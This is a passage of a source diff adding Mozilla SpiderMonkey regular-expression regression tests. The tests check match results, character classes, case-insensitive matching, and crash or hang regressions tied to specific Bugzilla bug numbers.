+expectedmatch = Array('xb', 'xb');
+addThis();
+
+status = inSection(10);
+pattern = /()[x]b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', '');
+addThis();
+
+status = inSection(11);
+pattern = /x[b]|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(12);
+pattern = /[x]{1}b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(13);
+pattern = /[x]b|a|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(14);
+pattern = /[x]b|[a]/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(15);
+pattern = /[x]b|a+/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(16);
+pattern = /[x]b|a{1}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(17);
+pattern = /[x]b|(a)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', undefined);
+addThis();
+
+status = inSection(18);
+pattern = /[x]b|()a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', undefined);
+addThis();
+
+status = inSection(19);
+pattern = /[x]b|^a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(20);
+pattern = /a|[^b]b/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(21);
+pattern = /a|[^b]{1}b/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+
+string = 'hallo\";';
+status = inSection(22);
+pattern = /^((\\[^\x00-\x1f]|[^\x00-\x1f"\\])*)"/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('hallo"', 'hallo', 'o');
+addThis();
+
+//----------------------------------------------------------------------------
+test();
+//----------------------------------------------------------------------------
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-225289.js b/js/src/tests/non262/RegExp/regress-225289.js
new file mode 100644
index 0000000000..d89be6bc7e
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-225289.js
@@ -0,0 +1,140 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 November 2003
+ * SUMMARY: Testing regexps with complementary alternatives
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=225289
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 225289;
+var summary = 'Testing regexps with complementary alternatives';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+// this pattern should match any string!
+pattern = /a|[^a]/;
+
+status = inSection(1);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(2);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(3);
+string = '()';
+actualmatch = string.match(pattern);
+expectedmatch = Array('(');
+addThis();
+
+
+pattern = /(a|[^a])/;
+
+status = inSection(4);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(5);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(6);
+string = '()';
+actualmatch = string.match(pattern);
+expectedmatch = Array('(', '(');
+addThis();
+
+
+pattern = /(a)|([^a])/;
+
+status = inSection(7);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', undefined);
+addThis();
+
+status = inSection(8);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(9);
+string = '()';
+actualmatch = string.match(pattern);
+expectedmatch = Array('(', undefined, '(');
+addThis();
+
+
+// note this pattern has one non-capturing parens
+pattern = /((?:a|[^a])*)/g;
+
+status = inSection(10);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', ''); // see bug 225289 comment 6
+addThis();
+
+status = inSection(11);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = Array(''); // see bug 225289 comment 9
+addThis();
+
+status = inSection(12);
+string = '()';
+actualmatch = string.match(pattern);
+expectedmatch = Array('()', ''); // see bug 225289 comment 6
+addThis();
+
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-225343.js b/js/src/tests/non262/RegExp/regress-225343.js
new file mode 100644
index 0000000000..c1a70ec02f
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-225343.js
@@ -0,0 +1,89 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 11 November 2003
+ * SUMMARY: Testing regexp character classes and the case-insensitive flag
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=225343
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 225343;
+var summary = 'Testing regexp character classes and the case-insensitive flag';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = 'a';
+pattern = /[A]/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(2);
+string = 'A';
+pattern = /[a]/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('A');
+addThis();
+
+status = inSection(3);
+string = '123abc123';
+pattern = /([A-Z]+)/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'abc');
+addThis();
+
+status = inSection(4);
+string = '123abc123';
+pattern = /([A-Z])+/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'c');
+addThis();
+
+status = inSection(5);
+string = 'abc@test.com';
+pattern = /^[-!#$%&\'*+\.\/0-9=?A-Z^_`{|}~]+@([-0-9A-Z]+\.)+([0-9A-Z]){2,4}$/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc@test.com', 'test.', 'm');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-24712.js b/js/src/tests/non262/RegExp/regress-24712.js
new file mode 100644
index 0000000000..fead641be3
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-24712.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 24712;
+
+test();
+
+function test()
+{
+ printBugNumber (BUGNUMBER);
+
+ var re = /([\S]+([ \t]+[\S]+)*)[ \t]*=[ \t]*[\S]+/;
+ var result = re.exec("Course_Creator = Test") + '';
+
+ reportCompare('Course_Creator = Test,Course_Creator,', result, 'exec() returned null');
+}
+
diff --git a/js/src/tests/non262/RegExp/regress-285219.js b/js/src/tests/non262/RegExp/regress-285219.js
new file mode 100644
index 0000000000..a73308d9bd
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-285219.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 285219;
+var summary = 'Do not crash on RangeError: reserved slot out of range';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {hi: 'there'};
+eval("var r = /re(1)(2)(3)/g", o);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/RegExp/regress-28686.js b/js/src/tests/non262/RegExp/regress-28686.js
new file mode 100644
index 0000000000..6e75237249
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-28686.js
@@ -0,0 +1,17 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 28686;
+
+test();
+
+function test()
+{
+ printBugNumber (BUGNUMBER);
+
+ var str = 'foo "bar" baz';
+ reportCompare ('foo \\"bar\\" baz', str.replace(/([\'\"])/g, "\\$1"),
+ "str.replace failed.");
+}
diff --git a/js/src/tests/non262/RegExp/regress-305064.js b/js/src/tests/non262/RegExp/regress-305064.js
new file mode 100644
index 0000000000..32c4f4bb71
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-305064.js
@@ -0,0 +1,54 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 305064;
+var summary = 'CharacterClassEscape \\s';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /** List from ES 3.1 Recommendation for String.trim (bug 305064) **/
+ var whitespace = [
+ {s : '\u0009', t : 'HORIZONTAL TAB'},
+ {s : '\u000B', t : 'VERTICAL TAB'},
+ {s : '\u000C', t : 'FORMFEED'},
+ {s : '\u0020', t : 'SPACE'},
+ {s : '\u00A0', t : 'NO-BREAK SPACE'},
+ {s : '\u1680', t : 'OGHAM SPACE MARK'},
+ {s : '\u2000', t : 'EN QUAD'},
+ {s : '\u2001', t : 'EM QUAD'},
+ {s : '\u2002', t : 'EN SPACE'},
+ {s : '\u2003', t : 'EM SPACE'},
+ {s : '\u2004', t : 'THREE-PER-EM SPACE'},
+ {s : '\u2005', t : 'FOUR-PER-EM SPACE'},
+ {s : '\u2006', t : 'SIX-PER-EM SPACE'},
+ {s : '\u2007', t : 'FIGURE SPACE'},
+ {s : '\u2008', t : 'PUNCTUATION SPACE'},
+ {s : '\u2009', t : 'THIN SPACE'},
+ {s : '\u200A', t : 'HAIR SPACE'},
+ {s : '\u202F', t : 'NARROW NO-BREAK SPACE'},
+ {s : '\u205F', t : 'MEDIUM MATHEMATICAL SPACE'},
+ {s : '\u3000', t : 'IDEOGRAPHIC SPACE'},
+ {s : '\u000A', t : 'LINE FEED OR NEW LINE'},
+ {s : '\u000D', t : 'CARRIAGE RETURN'},
+ {s : '\u2028', t : 'LINE SEPARATOR'},
+ {s : '\u2029', t : 'PARAGRAPH SEPARATOR'},
+ ];
+
+ for (var i = 0; i < whitespace.length; ++i)
+ {
+ var v = whitespace[i];
+ reportCompare(true, !!(/\s/.test(v.s)), 'Is ' + v.t + ' a space');
+ }
+}
diff --git a/js/src/tests/non262/RegExp/regress-307456.js b/js/src/tests/non262/RegExp/regress-307456.js
new file mode 100644
index 0000000000..14dde5b1ce
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-307456.js
@@ -0,0 +1,22 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 307456;
+var summary = 'Do not Freeze with RegExp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var data='<!---<->---->\n\n<><>--!!!<><><><><><>\n!!<>\n\n<>\n<><><><>!\n\n\n\n--\n--\n--\n\n--\n--\n\n\n-------\n--\n--\n\n\n--\n\n\n\n----\n\n\n\n--\n\n\n-\n\n\n-\n\n-\n\n-\n\n-\n-\n\n----\n\n-\n\n\n\n\n-\n\n\n\n\n\n\n\n\n-----\n\n\n-\n------\n-------\n\n----\n\n\n\n!\n\n\n\n\n\n\n\n!!!\n\n\n--------\n\n\n\n-\n\n\n-\n--\n\n----\n\n\n\n\n\n-\n\n\n----\n\n\n\n\n\n--------\n!\n\n\n\n\n-\n---\n--\n\n----\n\n-\n\n-\n\n-\n\n\n\n-----\n\n\n\n-\n\n\n-\n\n\n--\n-\n\n\n-\n\n----\n\n---\n\n---\n\n----\n\n\n\n---\n\n-++\n\n-------<>\n\n-!\n\n--\n\n----!-\n\n\n\n';
+
+printStatus(data);
+data=data.replace(RegExp('<!--(\\n[^\\n]|[^-]|-[^-]|--[^>])*-->', 'g'), '');
+printStatus(data);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/RegExp/regress-309840.js b/js/src/tests/non262/RegExp/regress-309840.js
new file mode 100644
index 0000000000..ff1e5927c7
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-309840.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 309840;
+var summary = 'Treat / in a literal regexp class as valid';
+var actual = 'No error';
+var expect = 'No error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ var re = eval('/[/]/');
+}
+catch(e)
+{
+ actual = e.toString();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/RegExp/regress-312351.js b/js/src/tests/non262/RegExp/regress-312351.js
new file mode 100644
index 0000000000..72a52a1839
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-312351.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 312351;
+var summary = 'Do not crash on RegExp(null)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var x = RegExp(null);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/RegExp/regress-31316.js b/js/src/tests/non262/RegExp/regress-31316.js
new file mode 100644
index 0000000000..7ef2a14549
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-31316.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 31316:
+ * "Rhino: Regexp matches return garbage"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=31316
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 31316;
+var summary = 'Regression test for Bugzilla bug 31316';
+var cnEmptyString = '';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+pattern = /<([^\/<>][^<>]*[^\/])>|<([^\/<>])>/;
+string = '<p>Some<br />test</p>';
+actualmatch = string.match(pattern);
+expectedmatch = Array('<p>', undefined, 'p');
+addThis();
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-330684.js b/js/src/tests/non262/RegExp/regress-330684.js
new file mode 100644
index 0000000000..097c697943
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-330684.js
@@ -0,0 +1,21 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330684;
+var summary = 'Do not hang on RegExp';
+var actual = 'Do not hang on RegExp';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var re = /^(?:(?:%[0-9A-Fa-f]{2})*[!\$&'\*-;=\?-Z_a-z]*)+$/;
+var url = "http://tw.yimg.com/a/tw/wenchuan/cam_240x400_381615_030806_2.swf?clickTAG=javascript:VRECopenWindow(1)";
+
+printStatus(re.test(url));
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/RegExp/regress-334158.js b/js/src/tests/non262/RegExp/regress-334158.js
new file mode 100644
index 0000000000..a561445536
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-334158.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334158;
+var summary = 'Parse error in control letter escapes (RegExp)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = true;
+actual = /\ca/.test( "\x01" );
+reportCompare(expect, actual, summary + ':/\ca/.test( "\x01" )');
+
+expect = false
+ actual = /\ca/.test( "\\ca" );
+reportCompare(expect, actual, summary + ': /\ca/.test( "\\ca" )');
+
+expect = false
+ actual = /\c[a/]/.test( "\x1ba/]" );
+reportCompare(expect, actual, summary + ': /\c[a/]/.test( "\x1ba/]" )');
diff --git a/js/src/tests/non262/RegExp/regress-346090.js b/js/src/tests/non262/RegExp/regress-346090.js
new file mode 100644
index 0000000000..a25c38a563
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-346090.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346090;
+var summary = 'Do not crash with this regexp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var r = /%((h[^l]+)|(l[^h]+)){0,2}?a/g;
+ r.exec('%lld %d');
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/RegExp/regress-367888.js b/js/src/tests/non262/RegExp/regress-367888.js
new file mode 100644
index 0000000000..f303758ca9
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-367888.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367888;
+var summary = 'RegExp /(|)??x/g.exec("y") barfs';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = null;
+ actual = /(|)??x/g.exec("y");
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/RegExp/regress-375642.js b/js/src/tests/non262/RegExp/regress-375642.js
new file mode 100644
index 0000000000..48cba8fd78
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375642.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375642;
+var summary = 'RegExp /(?:a??)+?/.exec("")';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /(?:a??)+?/.exec("")
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/RegExp/regress-375651.js b/js/src/tests/non262/RegExp/regress-375651.js
new file mode 100644
index 0000000000..8f3984e875
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375651.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375651;
+var summary = 'Do not assert with regexp quantifiers';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /(.{2,3}){0,2}?t/.exec("abt");
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/RegExp/regress-375711.js b/js/src/tests/non262/RegExp/regress-375711.js
new file mode 100644
index 0000000000..4de183691a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375711.js
@@ -0,0 +1,82 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375711;
+var summary = 'Do not assert with /[Q-b]/i.exec("")';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var s;
+
+ // see bug 416933
+ print('see bug 416933 for changed behavior on Gecko 1.9');
+
+ try
+ {
+ s = '/[Q-b]/.exec("")';
+ expect = 'No Error';
+ print(s + ' expect ' + expect);
+ eval(s);
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + s);
+
+ try
+ {
+ s ='/[Q-b]/i.exec("")';
+ expect = 'No Error';
+ print(s + ' expect ' + expect);
+ eval(s);
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + s);
+
+ try
+ {
+ s = '/[q-b]/.exec("")';
+ expect = 'SyntaxError: invalid range in character class';
+ print(s + ' expect ' + expect);
+ eval(s);
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + s);
+
+ try
+ {
+ s ='/[q-b]/i.exec("")';
+ expect = 'SyntaxError: invalid range in character class';
+ print(s + ' expect ' + expect);
+ eval(s);
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + s);
+}
diff --git a/js/src/tests/non262/RegExp/regress-375715-01-n.js b/js/src/tests/non262/RegExp/regress-375715-01-n.js
new file mode 100644
index 0000000000..dcd003ec17
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375715-01-n.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375715;
+var summary = 'Do not assert: (c2 <= cs->length) && (c1 <= c2)';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // note that the assertion does not fire if the regexp is
+ // evald or used in new RegExp, so this test must be an -n
+ // with uncaught SyntaxError.
+
+ /[\Wb-G]/.exec("");
+ reportCompare(expect, actual, summary + ' /[\Wb-G]/.exec("")');
+}
diff --git a/js/src/tests/non262/RegExp/regress-375715-02.js b/js/src/tests/non262/RegExp/regress-375715-02.js
new file mode 100644
index 0000000000..9f872cedfc
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375715-02.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375715;
+var summary = 'Do not assert: (c2 <= cs->length) && (c1 <= c2)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /[\s-:]/;
+ reportCompare(expect, actual, summary + '/[\s-:]/');
+}
diff --git a/js/src/tests/non262/RegExp/regress-375715-03.js b/js/src/tests/non262/RegExp/regress-375715-03.js
new file mode 100644
index 0000000000..112da17df0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375715-03.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375715;
+var summary = 'Do not assert: (c2 <= cs->length) && (c1 <= c2)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /[_-t]/i.exec("");
+ reportCompare(expect, actual, summary + '/[_-t]/i.exec("")');
+}
diff --git a/js/src/tests/non262/RegExp/regress-375715-04.js b/js/src/tests/non262/RegExp/regress-375715-04.js
new file mode 100644
index 0000000000..8a56c3fe6e
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375715-04.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375715;
+var summary = 'Do not assert: (c2 <= cs->length) && (c1 <= c2)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
